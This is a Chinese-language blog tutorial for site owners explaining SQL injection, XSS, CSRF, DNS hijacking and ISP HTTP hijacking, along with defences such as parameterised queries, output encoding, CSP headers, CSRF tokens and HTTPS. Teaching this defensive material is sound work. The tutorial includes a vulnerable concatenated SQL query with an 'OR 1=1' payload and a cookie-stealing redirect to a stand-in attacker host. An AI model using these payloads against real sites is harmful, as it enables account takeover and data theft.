在茫茫的互聯(lián)網(wǎng)上,隨時都在發(fā)生著攻擊,作為一個合格的站長,有必要了解網(wǎng)絡(luò)攻擊者常用的手段,對于常見的網(wǎng)絡(luò)攻擊和網(wǎng)絡(luò)防護(hù)來說很有必要。
根據(jù)名字, 我們大致可以猜測到. 這個攻擊是和sql數(shù)據(jù)庫相關(guān)的(關(guān)系型數(shù)據(jù)庫). 系統(tǒng)的解釋一下: sql 注入: 指的是攻擊者注入一段惡意的腳本, 然后執(zhí)行他想要的結(jié)果。 比如: 獲取到該db 里面所有的數(shù)據(jù),刪除數(shù)據(jù)庫數(shù)據(jù).(由于, 后臺給前臺開放的接口通常只是作為查詢使用, 所有 獲取db 所有數(shù)據(jù)這類攻擊比較常見).
這類攻擊通常發(fā)生在,后臺使用動態(tài)腳本生成sql query string. 而且, 途中不經(jīng)過混淆處理. 如下:
var name = req.query.userName; var pass = req.query.password;
sql = "SELECT id FROM users WHERE username='" + uname + "' AND password='" + pass + "'"; database.execute(sql);
然后,attacker 可以 寫入如下的sql query string:
"SELECT id FROM users WHERE username=’username’ AND password=’pass’ OR 1=1";
即, 將pass寫為: pass’+“OR 1=1”+’; 并, 發(fā)送給服務(wù)端處理. 額… 結(jié)果的話, 你應(yīng)該懂的 上面sql injection 只是 一個比較友好的 入侵(這算是良心黑客). 如果, 你的sql statement的操作權(quán)限不僅僅只限于查詢, 還包括CRUD操作的話. 那么,hacker 能做的就大了去了.
如果你的接口涉及 修改. 當(dāng)hacker, inject 了一段 代碼,破壞你的數(shù)據(jù)的完整性. 這種情況可能造成, 其他查詢時,會出現(xiàn)無效查詢的結(jié)果.(void transaction), 甚至返回別人的數(shù)據(jù).
如果你的接口 涉及 刪除. 那結(jié)果我就不多說了.
另外, 還有一些關(guān)于admin 或者 visitor的權(quán)限分配。 這也是考察數(shù)據(jù)庫安全性的一個標(biāo)準(zhǔn).
第一類方法, 算是一個比較笨笨的。 通過一個blacklists正則匹配, 檢測 query string里面的參數(shù), 將一些可以字符排除掉。
第二類方法,也是最常用的。 使用數(shù)據(jù)庫自帶的一系列函數(shù)進(jìn)行查詢. 這個應(yīng)該不用多說, 數(shù)據(jù)庫自帶庫的函數(shù) 內(nèi)部 對參數(shù)的處理,一定比我們重復(fù)造輪子檢測正確性高~ 比如, mongoDB 中的插入: collection.insertMany([],cb)
XSS(Cross-site scripting). 你問我為什么不是CSS? 我也不知道. XSS主要是指跨腳本攻擊, 其實(shí)就相當(dāng)于執(zhí)行js腳本. 經(jīng)常出現(xiàn)在評論回復(fù)的邏輯頁面中.
我們先理解一下, 評論回復(fù)的流程. 正常情況下:
用戶評論的內(nèi)容–comment
異步發(fā)送給Server, server 將其存儲在數(shù)據(jù)庫中。 成功時, 則返回新加的評論–comment
此時, 使用
comment
將評論渲染出來.
上面一個流程可以很容易的說明一個道理, 即, 沒有對comment 進(jìn)行任何的處理. 在這種情況下, XSS 簡直就是如魚得水。 比如:
//comment 為:<script type="text/javascript">console.log(123);</script>
//渲染出來的內(nèi)容為:<p><script type="text/javascript">console.log(123);</script></p>
最終渲染到頁面上的結(jié)果是, p里面的內(nèi)容為空,控制臺輸出了123. 實(shí)際上, 評論已經(jīng)被保存在數(shù)據(jù)庫。 當(dāng)其他用戶訪問時,該評論中的script 腳本同樣會 發(fā)生作用.(可怕ing) 這才是, XSS 攻擊最讓人頭疼的地方. 下圖是基本運(yùn)作流程圖: from acunetix
XSS 其實(shí), 不僅僅只有script 這個東西可以使用. 凡是涉及用戶輸入并且渲染到頁面上的,都有可能被XSS。
比如:
所以上面就是針對標(biāo)簽屬性進(jìn)行XSS 攻擊. 這類方式的防止很好解決。就是使用setAttribute方法進(jìn)行設(shè)置即可.
通過將腳本嵌套在正規(guī)頁面上, 用戶在打開該頁面時, 根本無法察覺, 自己已經(jīng)變成XSS’s victim. 所以, 當(dāng)用戶打開網(wǎng)站時, malicious 腳本便會執(zhí)行. 該腳本通常能做的事情:
通過document.cookie 獲取用戶的cookie信息. 而且,如果你的token 不是放在Server 端,而是放在用戶cookie中,那么hacker 就完全獲得該用戶的信息, 假冒用戶進(jìn)行登錄. 比如: window.location='http://attacker/?cookie='+document.cookie
腳本能夠?qū)缑孢M(jìn)行修改
如果頁面上有用戶輸入的私密信息,比如銀行賬號,密碼等。就可以綁定監(jiān)聽, 并通過ajax將信息發(fā)送給hacker. (跨域完全可以通過CORS解決)
使用H5的相關(guān)API, 獲得用戶的人身信息. 比如, 攝像頭, 地理位置等. 當(dāng)然, 用戶也不是傻, 不會平白無故的就把確認(rèn)點(diǎn)了(使用這些API時, 需要獲取用戶的同意). 但在 social engineering 面前, 這一切都不是事.
地址的重定向, 這應(yīng)該不用過多解釋. 只要使用window.location.href
即可
現(xiàn)在,我們已經(jīng)知道xss的原理,即, 通過嵌入script腳本, 執(zhí)行惡意的操作. 所以, 最基本的防護(hù)可以分為兩種:
驗(yàn)證: 通過驗(yàn)證用戶輸入的內(nèi)容, 是否符合規(guī)則. 防止hacker插入, 惡意代碼.
Encoding: 其實(shí)就相當(dāng)于字符的轉(zhuǎn)義. 比如: 將’<’ 轉(zhuǎn)換為: <. '>'轉(zhuǎn)換為: >. (防止插入<script>或者其他tag–< p>< /p>)
實(shí)際上, 驗(yàn)證可以分為blacklist 和 whitelist驗(yàn)證. 不過,blacklist 只是作為介紹, 在正式開發(fā)中, 最常使用的應(yīng)該算是whitelist.
blackList 這種方法其實(shí)就相當(dāng)于枚舉法, 只是, 他猜測的方向是針對hacker用戶. 比如. 設(shè)置一個正則./<script/g. 使用,replace進(jìn)行替換, 或者彈出提醒框.
whitelist 這和blacklist一樣, 只是里面設(shè)置的是對正確內(nèi)容的驗(yàn)證. 該方法,主要是注冊時候使用。 對用戶名, 昵稱等信息,使用相關(guān)的正則表達(dá)式進(jìn)行驗(yàn)證。 這就是典型的whitelist 方法.
Encoding: 這個方法就比較實(shí)誠了,沒有浮夸的正則. 有的是一些自定義的convert。
比如上面提到的: Convert & to & Convert < to> to >; Convert " to " Convert ’ to ' Convert / to /
這樣, 可以防止嵌入的scipt腳本執(zhí)行, 使其變?yōu)?data 直接渲染到頁面上. 下面我們針對不同的場景具體說明一下, XSS保護(hù)的措施.
在講解標(biāo)簽防護(hù)之前,我再把上面的XSS attack實(shí)例搬下來:
上面提到了,可以使用setAttribute進(jìn)行內(nèi)部的encoding. 在client-side 還有其他方法可以實(shí)現(xiàn).
對于URL encoding的選擇簡而言之就是盡量在操作用戶輸入的數(shù)據(jù)的時候,減少innerHTML和outerHTML出現(xiàn)的頻次. 這里,還需要對URL para做一點(diǎn)補(bǔ)充.
對于encoding的方法,原生js 提供了3個global Funciton.
escape()
encodeURI()
encodeURIComponent()
實(shí)際上,他們3個都可以作為encoding的方法. 但是, 既然都可以,那為什么會有3個呢? in fact, 他們的專業(yè)方向還是很不一樣的.
escape() 該方法主要是對字符串(string)進(jìn)行編碼(ascii). 所有的空格,標(biāo)點(diǎn),以及任意的非ASCII字符都會被形如: %xx的替代. 如果 character 的 比特?cái)?shù)>255 則會使用 %uxxxx來代替–最明顯的例子就是中文. 其中,這幾個字符@*/+不會被編碼. 接受的參數(shù)就是string. 即. escape(str); 詳細(xì)demo 可以參考:xkr escape. 其對應(yīng)的decode的方法是: unescape(); 該方法主要的應(yīng)用場景是對 傳輸內(nèi)容進(jìn)行轉(zhuǎn)換, 比如插入數(shù)據(jù)庫的內(nèi)容等. (實(shí)話說,使用頻次還是挺低的)
encodeURI() 該方法是一個比較常用的編碼url的方法. 通常,是用來將url字符全部轉(zhuǎn)化為合法字符, 進(jìn)行傳輸. 比如: encodeURI("http://example.com?name=壞人") 輸出的結(jié)果為:http://example.com?name=壞人. encodeURI 不會對下列字符進(jìn)行convert:ASCII字母 數(shù)字 ~!@#$&*()=:/,;?+' 對應(yīng)的decode方法為: decodeURI 主要使用場景有:對URL進(jìn)行編碼, 以及post方式,指定Content-Type:application/x-www-form-urlencoded 時,傳輸?shù)膃ncodeURI(str)內(nèi)容.
encodeURIComponent() 這個方法最容易和encodeURI 混淆. 實(shí)際上, 該方法只針對于URI中的 query.(甚至連search部分都不能用,想想都是怕的). 該方法不會對:ASCII字母 數(shù)字 ~!*()'進(jìn)行convert. 其對應(yīng)的decode方法有: decodeURIComponent
所以, 在形如. < a href="http://example.com?usrInput">link 我們就需要對usrInput進(jìn)行encodeURI(), 編碼轉(zhuǎn)化了. 以及,在動態(tài)添加styel時,對于background或者background-url里的, usrInput 進(jìn)行encodeURI().
這個主要就是針對于評論內(nèi)容了. 不過由于內(nèi)容過于復(fù)雜,這里就不詳述。 大概就是上面的幾點(diǎn),以及 字符的轉(zhuǎn)化. 推薦使用XSS module 進(jìn)行轉(zhuǎn)化.
我一直深信著一句話
There is no absolute security system
就算一個小小的lapse也會給hacker 可乘之機(jī). 所以, 在進(jìn)行XSS 防護(hù)時, 難免會有些遺漏, CSP 應(yīng)該算是在hacker 找到漏洞后的一道有力的防線.CSP 我已經(jīng)在我另外一篇博文里面闡述了CSP頁面防護(hù) CSP的設(shè)計(jì)目的就是為了增強(qiáng)網(wǎng)頁的安全性,解放程序員和hacker的死磕. 而且,對于XSS的防護(hù)有這天然的優(yōu)勢. 因?yàn)閄SS,主要就是插入內(nèi)嵌或者 跨域的script 執(zhí)行. 而CSP可以做到的就有:
不加載不安全腳本
不執(zhí)行內(nèi)聯(lián)腳本
不執(zhí)行eval函數(shù)
那, 應(yīng)該如何使用呢? CSP主要和響應(yīng)頭–Content?Security?Policy 相關(guān). 通過server-side 返回Content?Security?Policy 頭,來啟用不同程度的防護(hù)措施. 這里,我們只介紹于XSS相關(guān)的. 通常,我們可以在CSP 頭里設(shè)置一些相關(guān)directive.比如:
default-src: 默認(rèn)資源設(shè)置, 比如js,css,img,fonts,xhr等
script-src: 設(shè)置js腳本的相關(guān)方法
style-src: 設(shè)置css腳本的相關(guān)方法
img-src: 設(shè)置圖片的相關(guān)方法
child-src: 設(shè)置iframe的相關(guān)sandbox
…
不過我們一般只需要了解前4個即可. 每個值可以取相關(guān)的屬性.比如: default-src self. 表示默認(rèn)頁面的資源只能加載同域的內(nèi)容. 我們來著重看一下 default-src 可以設(shè)置的內(nèi)容
script?src 'self' scripts.example.com;
img?src *;
default?src 'self' http://*.example.com
比如: 我們可以設(shè)置 script-src 'self'. 此時, 只允許同域資源. 并且不會執(zhí)行內(nèi)聯(lián)腳本和eval函數(shù). 如果解除兩者的限制,可以添加上. script-src 'self' 'unsafe-inline'; 另外, 我們還可以設(shè)置跨域腳本的執(zhí)行 script-src 'self' http://example.com 這樣,資源不僅僅可以從同源server-side下載,還可以從example.com 下載. 推薦一個,比較好的CSP頭的設(shè)置內(nèi)容:
那如何啟用CSP呢? 在nginx下,給conf配置文件, 加上如下的內(nèi)容. add_header Content-Security-Policy "default-src 'self';";
CSP參考文獻(xiàn): CSP.com
XSS 參考文獻(xiàn): google 出品 OWASP 防護(hù)
CSRF or cross-site request forgery or 跨域假冒請求. 他的工作原理是, 通過GET 或者 POST發(fā)送相應(yīng)的信息給一個信息網(wǎng)站, 比如, 銀行網(wǎng), 信貸網(wǎng), 百合網(wǎng)等. 在發(fā)送過程中, 實(shí)際上該次請求會帶上你的原本的IP address 和 cookie info. 實(shí)例 假設(shè),網(wǎng)站www.example.com 沒有進(jìn)行CORS(跨域請求設(shè)置), 同意任意域名的訪問,即: Access-Control-Allow-Origin: '*'; 那么, 如果該網(wǎng)站的某個路由設(shè)置不當(dāng),就有可能發(fā)生CSRF.
現(xiàn)在, hacker 給 victim 發(fā)送一封 e-HTML 郵件.
郵件里面有這樣一段內(nèi)容:
翻譯一下, 就是給jimmy賬戶, 轉(zhuǎn)過去100¥. 當(dāng)然, 前提是, 該接口滿足該方式的訪問. 當(dāng)用戶打開該email時, img會立即發(fā)送一個請求。
假設(shè), 你的登錄狀態(tài)(session cookie) 還未過期, 在該請求中,會一并帶上在https://www.example.com/transfer下存儲的cookie. 相當(dāng)于獲得了你已經(jīng)登錄的權(quán)限, 假冒你進(jìn)行相關(guān)的操作. 但是, referer 里的內(nèi)容是不會被改變的, 即如果你是從 www.malicious.com 發(fā)的請求, 那么referer 還是 www.malicious.com(提示: 跨域)
so, 不過目前來說,沒有哪位童鞋會通過 最讓hacker喜歡的get方式, 去傳輸如此重要的信息.而且在get傳輸?shù)臅r候, 有心的dev也會做相關(guān)的混淆.
那, CSRF就沒有辦法了么? actually, 沒了get 我還有POST. 不過, 我們這里并不是討論ajax的 跨域post. 因?yàn)閍jax的post請求,只會發(fā)送當(dāng)前頁的cookie, 而不會在瀏覽器中搜索目標(biāo)頁的cookie. 而且, CSRF的工作環(huán)境是user PC. 而Form 表單發(fā)送就是CSRF最好的post 發(fā)送方式, 即可以帶上cookie, 又可以避免瀏覽器的跨域干涉. 下列是, CSRF常用的幾種方式 那CSRF 中, 通常怎么進(jìn)行POST的發(fā)送呢?
很簡單,構(gòu)建一個form表單即可.
<form action="http://example.com" method="POST">
<input type="text" name="account">
<input type="text" name="password">
<input type="submit">
</form>
將表單插入到你malicious 網(wǎng)頁內(nèi)部, 利用社工, 誘導(dǎo)用戶進(jìn)入你的頁面,然后發(fā)送內(nèi)容. 如果你想做的比較隱蔽的話,可以使用iframe, 額外將表單引入, 然后, 自動執(zhí)行submit 操作. 現(xiàn)在,hacker都能通過 GET 和POST, 巧妙的獲取用戶的session. 那, how to prevent CSRF?
CSRF有3個特性: 跨域, cookie, 請求方式. 所以,只要阻斷其中一個,那么CSRF 就可以 go die了.
這個就很好理解了, 即, 前端和后臺雙方協(xié)定一個token內(nèi)容 , 或者直接由 back-end 生成 random token. 然后在有請求到來時,server-side 進(jìn)行Token驗(yàn)證.
<form action="https://example.com/tweet" method="POST">
<input type="hidden" name="csrf-token" value="nc98P987bcpncYhoadjoiydc9ajDlcn" />
</form>
這里的value 就可以用來作為request有效性的說明. 通常設(shè)置的token也是有講究的, 比如可以使用 指定字符+time來生成, 指定字符+salt生成. 這些Token驗(yàn)證方式,我們都可以自己下去琢磨的。 所以, 就算hacker生成了 form表單, 但是, 他的驗(yàn)證內(nèi)容可能已經(jīng)過期(無效Token). 同樣, 我們還可以在cookie中設(shè)置驗(yàn)證Token. 原理我就不過多介紹了, cookie中設(shè)置的內(nèi)容和上文在form中設(shè)置的其實(shí)差不多. 另外, 還需要注意的是,針對重要cookie, 需要設(shè)置 httpOnly的選項(xiàng), 防止用戶腳本獲取cookie內(nèi)容.
因?yàn)? form 傳輸?shù)母袷綖? Content-Type: application/x-www-form-urlencoded 而,JSON的傳輸類型為: Content-Type: application/json form 沒有辦法去模仿JSON類型進(jìn)行傳輸,所以,這也是一個很好的辦法. 另外, 如果不得不使用form表單方式提交, 還有另外一種方式. 我們可以通過request Header中的referrer屬性, 來獲得發(fā)送腳本的地址. 通過whitelist, 來允許指定域的請求訪問.
關(guān)于DNS劫持, 事實(shí)上更偏向于User,因?yàn)? developer實(shí)際上,對這個也無能為力。 我們來簡述一下,DNS hijack的過程。
如果大家清楚DNS 的解析過程話,上圖的邏輯就很清楚了。 用戶輸入一個真域名,向 fake DNS Server 發(fā)起UDP請求,然后, DNS返回一個malicious的IP地址, 結(jié)果,用戶打開的是一個全屏廣告,或者是 妹妹寂寞的網(wǎng)頁. actually, 上圖還忽略了一個很重要的步驟, 就是 用戶如何會向 fake DNS Server 發(fā)請求的呢? 實(shí)際上, 這個鍋,需要用戶背. 以前trojan horse (木馬病毒)盛行的時候, OS的安全性 真的 有點(diǎn)可憐. 當(dāng)user 下載 來源不明的video,image, software… 很可能會附帶上蜜汁病毒, 然后,病毒會修改你的ISP服務(wù)配置, 即, 就是你的DNS提供商的IP地址. 然后, hacker會將他control的DNS Server 填加進(jìn)去. 那, 我們怎樣才能知道自己被hack了呢? 很簡單,google唄.對于,MAC用戶, 只要找到你的DNS列表,然后對應(yīng)FBI或者國家安全網(wǎng)提供的DNSchanger IP對照一下,如果有就cleanup一下.
雖然DNS hijack的攻擊成本很大, 但是,成功后的profit 也是相當(dāng)大的. hacker 可以將fake的銀行網(wǎng)頁信息發(fā)給你, 誘騙你的account. 或者 將正確的網(wǎng)頁緩存, 插入更多的廣告收取廣告費(fèi)用.
事實(shí)上, 只有一種辦法,潔身自好~ (你懂的)
首先,我google了–HTTP 劫持, 結(jié)果, 歪果仁對于ISP hijacking的認(rèn)識, 還是蠻少的,結(jié)果全是神馬DNS劫持之類的. 后來, 我特么換了中文搜索–http 劫持. 我就不多說了. 看來國人對于HTTP 劫持的認(rèn)識還是超級深刻啊喂. 原因是什么-- 廣告唄~ 看一個常見的彈窗廣告: 你可以關(guān)閉他, 但是, 特么每次打開都要關(guān)閉, 超級煩~ 試想一下, 當(dāng)你打開一個頁面, 結(jié)果左側(cè)右側(cè)全是些 iframe廣告, 第一個反應(yīng)是, 網(wǎng)業(yè)主, 你是不是窮瘋了, 沒事給自己頁面添這么多廣告是干嘛… 網(wǎng)頁主 莫名的背鍋. 然后, 只能對這些小白深深的嘆口氣-- 親, 這不是我干的, 這是電信, 聯(lián)通那些ISP 提供商干的… 所以, 由于沒有完備的網(wǎng)絡(luò)法, 對于ISP 干的這些齷蹉勾當(dāng),監(jiān)管局根本不鳥你. 所以, 你懂的.
這里我們要清楚一點(diǎn), CN的運(yùn)營商并不是hacker, 他不會這樣或那樣的獲取用戶的信息(我沒說郭嘉的墻), 可能為了商業(yè)目的,會變得沒有節(jié)操,給你安放一點(diǎn)廣告. 所以, 這里hacker并沒有插入, 沒節(jié)操的只是運(yùn)營商. ok~ 我們正式來看一下ISP如何劫持的HTTP流量的:
當(dāng)C->S 發(fā)送一個網(wǎng)頁請求
ISP 獲得之后, 給他自己的緩存服務(wù)器
如果命中緩存, 則返回已經(jīng)修改過后的頁面信息(滿屏操廣告). 如果沒有, 要么是你的網(wǎng)頁瀏覽量不夠,要么是別人已經(jīng)存滿了,你的網(wǎng)頁僥幸的沒有被插菊花.
命中后,緩存服務(wù)器偽裝為S,給C發(fā)送一個302(臨時移動,告訴你,應(yīng)該從另外一個地方去取資源). 由于, 這是個重定向,所以傳輸速度就不用說了, C 就只能乖乖的去緩存服務(wù)器那取資源. 而忽略正確的Server返回的數(shù)據(jù).
之后的事,就是你看到的網(wǎng)頁了. 那我們有沒有什么防護(hù)措施呢?
首先, 我們需要明確一點(diǎn), 這里的防護(hù)有兩點(diǎn):
User 對抗 ISP
developer 對抗 ISP
直接和你家網(wǎng)絡(luò)提供商打電話,讓他取消廣告推送.
該方法需要對技術(shù)有點(diǎn)了解特別是對網(wǎng)絡(luò)結(jié)構(gòu)模塊有了解–網(wǎng)關(guān),代理,隧道,ip等. 參考:HTTP 防劫持
簡單有效的方式是,使用HTTPS 加密方式傳輸. 因?yàn)? ISP就是通過抓你的HTTP包,然后分析里面的內(nèi)容,最終得到結(jié)果. 而使用HTTPS 方式, 即使ISP 得到你的HTTPS包,由于有SSL 的加密, 他也不能獲得你的包內(nèi)容.
替換你的js的提供商,使用HTTPS路徑進(jìn)行加載。比如使用七牛的HTTPS提供的腳本服務(wù). 因?yàn)? ISP 不經(jīng)可以結(jié)果你的HTML, 也可以結(jié)果你網(wǎng)頁中所有的HTTP請求,而js又是最重要的內(nèi)容,所以,把這個控制到了,那么你網(wǎng)頁可以抵擋差不多80%的HTTP 劫持.